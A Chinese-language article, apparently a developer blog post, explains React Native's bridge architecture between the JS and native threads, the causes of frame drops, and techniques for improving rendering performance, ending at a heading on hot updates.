RN并不能算上是真正的跨平台的语言，虽然可以通过打包实现不同平台打包不同组件，但是有些组件需要我们针对不同平台编写不同代码。这就要求我们不用储备一些原生开发的知识。

工作原理

RN的本质是在两个模块之间搭建双向桥梁，让他们可以相互调用和响应，简单的示意图为

Native模块

运行在主线程上(可能会有些独立的后台线程处理运算，当前讨论中可忽略)
iOS平台上运行Object-C/Swift代码，Android平台上运行Java/Kotlin代码
负责处理UI的渲染，事件响应。

JS模块

运行在JS引擎的JS线程上
运行JS代码
负责处理业务逻辑，还包括了应该显示哪个界面，以及如何给页面加样式。

Bridge模块

Native和JS模块之间不能直接通信，只能通过Bridge做序列化和反序列化，查找模块，调用模块等各种逻辑，最终反应到应用上

性能

使用React Native替代基于WebView的框架，使App刷新可以达到每秒60帧（足够流畅），并且能有类似原生App的外观和手感，虽然RN框架已经提供了这个平衡的能力，但平衡点的选择却掌握在开发者手中，即便是Native也无法避免开发方式带来的性能消耗

性能影响原因

业务逻辑运行在JS线程上，负责API的调用，事件的处理，状态的更新，而事件的响应UI的变化发生在主线程上，60帧/s的频率要求每一帧的响应处理只有16.67(1000/60)ms，如果超过了16.67ms就会发生丢帧，如果丢帧超过100ms就会产生明显的卡顿现象。所有降低每一帧运算的消耗才能提升性能。

性能影响切面

UI事件响应： 性能影响小
UI更新： JS侧会向Native侧同步大量的UI结构和数据，界面复杂、变动数据大，或者做动画、变动频繁，容易出现性能问题。
UI事件响应和UI更新同时出现： 两种事件如果占用了过多的线程，就会导致另一种事件不能及时响应，表现在应用上就是卡顿

常见影响性能的点

console，ListView，动画Animated

性能优化

经过多年的发展和优化，JS和Native可以在各自的模块线程高效迅速的运行，性能的瓶颈主要在Bridge模块上，尤其是在JS和Native模块间频繁的调用会导致Bridge压力过大，产生卡顿

1. 利用React自带的Virtual Dom的Diff算法尽量减少需要同步的数据，合理利用setState方法
2. 在遇到动画性能问题时，可以使用Annimated类的库，一次性把如何变化的声明发送到Native侧，Native侧根据接收到的声明自己负责接下来的UI更新。不需要每帧的UI变化都同步一次数据。
3. Native和JS混编，把会大量变化的组件做成Native组件
4. 遇到UI事件响应和UI更新同时，可以使用Interaction Manager把那些耗时较长的工作安排到所有互动或动画完成之后再进行

App高性能开发引导

RN的开发并没有一种高质量产出的方法，因为各个项目间有着不同的组件组合，因此只能通过高效的开发方式来尽可能的优化应用。
一般来说，通过几版优化都能达到“极致体验”的要求。
下面列一下高效开发方式的流水：

1. 全JS实现，保证开发的高效率，高产出
2. 发现问题先在JS测做优化，如上面提到的Annimated类库，Interaction Manager。
3. 真机测试，找全问题再做处理，避免出现连锁bug
4. JS测解决不了的问题再有Native组件完成。

关于热更新